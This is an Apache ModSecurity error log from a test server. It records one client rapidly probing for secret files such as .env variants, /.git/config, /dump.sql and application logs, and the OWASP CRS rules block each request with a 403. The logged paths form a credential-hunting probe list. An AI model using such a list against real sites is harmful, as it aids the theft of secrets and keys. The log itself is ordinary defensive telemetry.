[Sun Nov 30 18:08:39.034066 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9JAAAAAg&quot;]
[Sun Nov 30 18:08:39.034319 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9JAAAAAg&quot;]
[Sun Nov 30 18:08:39.034579 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9JAAAAAg&quot;]
[Sun Nov 30 18:08:39.725666 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9JwAAAAg&quot;]
[Sun Nov 30 18:08:39.725877 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9JwAAAAg&quot;]
[Sun Nov 30 18:08:39.726095 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9JwAAAAg&quot;]
[Sun Nov 30 18:08:39.955591 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/application.log&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9KAAAAAg&quot;]
[Sun Nov 30 18:08:39.955923 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/application.log&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9KAAAAAg&quot;]
[Sun Nov 30 18:08:39.956133 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/application.log&quot;] [unique_id &quot;aSx6F11RgwzjQxTFQvL9KAAAAAg&quot;]
[Sun Nov 30 18:08:40.185737 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aSx6GF1RgwzjQxTFQvL9KQAAAAg&quot;]
[Sun Nov 30 18:08:40.185983 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aSx6GF1RgwzjQxTFQvL9KQAAAAg&quot;]
[Sun Nov 30 18:08:40.186219 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aSx6GF1RgwzjQxTFQvL9KQAAAAg&quot;]
[Sun Nov 30 18:08:40.647488 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aSx6GF1RgwzjQxTFQvL9KwAAAAg&quot;]
[Sun Nov 30 18:08:40.647716 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aSx6GF1RgwzjQxTFQvL9KwAAAAg&quot;]
[Sun Nov 30 18:08:40.647923 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aSx6GF1RgwzjQxTFQvL9KwAAAAg&quot;]
[Sun Nov 30 18:08:41.109362 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LQAAAAg&quot;]
[Sun Nov 30 18:08:41.109667 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LQAAAAg&quot;]
[Sun Nov 30 18:08:41.109946 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LQAAAAg&quot;]
[Sun Nov 30 18:08:41.341327 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LgAAAAg&quot;]
[Sun Nov 30 18:08:41.341649 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LgAAAAg&quot;]
[Sun Nov 30 18:08:41.341942 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LgAAAAg&quot;]
[Sun Nov 30 18:08:41.572027 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LwAAAAg&quot;]
[Sun Nov 30 18:08:41.572240 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LwAAAAg&quot;]
[Sun Nov 30 18:08:41.572453 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LwAAAAg&quot;]
[Sun Nov 30 18:08:41.572658 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9LwAAAAg&quot;]
[Sun Nov 30 18:08:41.802672 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9MAAAAAg&quot;]
[Sun Nov 30 18:08:41.802891 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9MAAAAAg&quot;]
[Sun Nov 30 18:08:41.803094 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSx6GV1RgwzjQxTFQvL9MAAAAAg&quot;]
[Sun Nov 30 18:08:42.032731 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MQAAAAg&quot;]
[Sun Nov 30 18:08:42.033098 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MQAAAAg&quot;]
[Sun Nov 30 18:08:42.033345 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MQAAAAg&quot;]
